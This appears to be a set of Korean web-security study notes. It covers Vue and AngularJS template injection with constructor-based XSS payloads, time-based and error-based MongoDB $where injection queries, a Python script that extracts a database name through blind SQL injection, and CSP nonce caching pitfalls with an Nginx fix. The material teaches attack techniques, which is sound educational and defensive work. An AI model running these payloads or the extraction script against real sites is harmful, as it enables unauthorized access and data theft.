위 코드는 htmlspecialchars()함수를 사용하여 $_GET['msg']를 출력하므로, 기본적으로 XSS 공격에는 안전하다.
하지만 Template Injection 의 경우에는 상황이 조금 다르다.
Vue.js를 포함한 JavaScript 기반 프레임워크에서는 템플릿을 파싱하고, 실행 시점에 동적으로 내용을 갱신하는 기능이 있기 때문에, 사용자가 제공한 입력이 Vue 템플릿으로 해석되어Template Injection 이 발생할 수 있다.
Template Injection이 발생하는지 확인하는 간단한 방법은 템플릿을 이용해 산술 연산을 수행해보는 것이다.
{{1+1}}과 같은 산술 연산 형태의 템플릿을 입력했을 때, 연산이 실행된 형태인2가 출력된다면 Template Injection이 발생하는 것으로 확인할 수 있다.
Template Injection이 발생할 때, 이를 이용해 임의의 자바스크립트 코드를 실행하는 방법으로 생성자(constructor)를 사용하는 방법이 있다. Vue 템플릿 컨텍스트 내에서 생성자에 접근하여 악성 코드를 생성하고 이를 호출하여 XSS 공격을 수행할 수 있다.
Vue 템플릿 컨텍스트에서 생성자에 접근하는 대표적인 방법을 {{_Vue.h.constructor}}를 사용하는 것이다.
이를 이용한 익스플로잇 코드는 다음과 같다.
{{_Vue.h.constructor("alert(1)")()}} → alert(1) 실행
AngularJS
AngularJS는 타입스크립트 기반의 오픈소스 프레임워크이며 CLI 도구에서 다양한 기능을 제공하기 때문에 개발을 편리하게 해주는 프레임워크 중 하나다.
Vue와 마찬가지로{{ }}로 감싸진 부분이 AngularJS 템플릿 부분이며, 해당 템플릿 내에서 문자열을 표시하거나, 자바스크립트 표현식을 실행할 수 있다. 만약 여기서 템플릿 내부에 공격자의 입력이 들어가 Template Injection 취약점이 발생한다면, XSS 공격으로 이어질 수 있다.
htmlspecialchars 함수를 통해 msg 파라미터 출력하기 때문에 XSS 공격은 방지할 수 있지만, 출력되는 값이 AngularJS의 템플릿으로 사용될 수 있기 때문에 Template Injection이 발생한다.
{{1+1}}과 같은 산술 연산 형태의 템플릿을 입력했을 때, 연산이 실행된 형태인2가 출력된다면 Template Injection이 발생하는 것으로 확인할 수 있다.
Template Injection이 발생할 때, 이를 이용해 임의의 자바스크립트 코드를 실행하는 방법으로 생성자(constructor)를 사용하는 방법이 있다. AngularJS 템플릿에서 생성자에 접근하기 위해서는{{ constructor.constructor }}로 접근할 수 있다.
이를 이용하여 임의 코드에 해당하는 함수를 생성하고, 호출하여 공격할 수 있다
{{ constructor.constructor("alert(1)")() }} → alert(1) 실행
아래는 upw의 첫 글자를 비교하고, 해당 표현식이 참을 반환할 때 sleep 함수를 실행하는 쿼리다.
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/* req.query.uid, req.query.upw 에 들어가는 js 코드들
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1 <-참이면 5초 지연
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
Error based Injection
올바르지 않은 문법을 입력해 고의로 에러를 발생시킨다.
아래에서 upw의 첫 글자가 'g'인 경우 (참인 경우) 올바르지 않은 문법인 asdf를 실행하면서 에러가 발생한다.
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
"code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
import requests
# 데이터베이스 이름의 길이를 찾는 부분
length = 0
for lengths in range(1, 30):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20length(database())={0}%20--%20".format(lengths)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 길이를 식별
print("\n 데이터베이스명의 길이는 {0}".format(lengths))
length = lengths
break
else:
continue
# 데이터베이스 이름을 추출하는 부분
db_name = ""
for i in range(1, length + 1):
for j in range(33, 127):
url = "http://[domain]/search_result.php?catgo=title&search=%25%27%20and%20ascii(substr(database(),{0},1))={1}%20--%20".format(i, j)
res = requests.get(url)
if "2949" in res.text: # 특정 문자열로 문자 식별
db_name += chr(j)
break
print("\n 데이터베이스 명: {0}".format(db_name))
예시
참고
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
params = {
'test': 1,
}
for i in range(1, 5):
c = requests.get(url + str(i), headers=headers, params=params)
print(c.request.url)
print(c.text)
requests 모듈 GET 예제 코드
import requests
url = 'https://dreamhack.io/'
headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'User-Agent': 'DREAMHACK_REQUEST'
}
data = {
'test': 1,
}
for i in range(1, 5):
c = requests.post(url + str(i), headers=headers, data=data)
print(c.text)
JSONP API를 제공하는 서비스는 콜백 이름에 식별자를 제외한 문자를 거부함으로써 이를 추가적으로 방어할 수 있다.
그러나 가능한 경우 JSONP보다는 CORS를 지원하는 API를 사용하는 것이 좋다.
nonce 예측 가능
CSP의 nonce는 예측 불가능한 값을 태그 속성에 포함시켜 XSS 공격을 방어하는 데 사용된다.
이 방어를 효과적으로 구현하려면 몇 가지 주의사항이 필요하다.
nonce 의 예측 불가능성: nonce 값은 요청마다 새로 생성되며, 공격자가 예측하거나 취득할 수 없는 값이어야 한다. nonce 생성 알고리즘이 취약하면 공격자가 이를 예측해 악성 스크립트를 삽입할 수 있다.
캐싱 주의: nonce가 포함된 HTTP 헤더나 <meta> 태그가 캐싱되지 않도록 해야 한다. 특히, PHP나 CGI와 같은 서버 스크립트는 경로에 따라 잘못된 캐싱이 발생할 수 있다. 예를 들어, '.css' 확장자 파일이 캐시되어 같은 nonce 값이 반환되면, 공격자가 이를 악용할 수 있다.
보안 난수 생성기 사용: nonce 값은 보안상 안전한 의사 난수 생성기를 사용해 생성해야 한다. 공격자가 예측할 수 있는 현재 시각 기반의 난수 생성기 (srand(), rand()) 는 사용하지 말아야 한다.
Nginx와 PHP FastCGI SAPI(php-fpm) 설정에서는 nonce의 캐싱으로 인한 보안 취약점이 발생할 수 있다.
location ~ \.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
현재 문제점:
/dom_xss_vulnerable.php/style.css와 같은 경로로 접근할 때, PHP 파일이 실행되어 nonce가 <meta> 태그로 출력됩니다.
CDN은 일반적으로 CSS나 스크립트 같은 정적 파일을 캐싱하므로, 출력된 nonce도 캐싱됩니다.
공격자는 고정된 nonce 값을 이용해 XSS 공격이 가능: <scriptnonce="{고정된 nonce 값}">alert(1);</script>
기존 fastcgi-php.conf 설정:
$fastcgi_split_path_info를 사용하여 .php 경로 뒤에 추가 경로를 허용 (fastcgi_split_path_info ^(.+\.php)(/.+)$;).
이러한 설정은 PHP가 경로 뒤의 CSS 파일처럼 보이는 요청도 실행하게 만듭니다.
수정 방법:
PATH_INFO 기능을 사용하지 않는 경우: .php로 끝나는 URL만 FastCGI로 전달되도록 수정해야함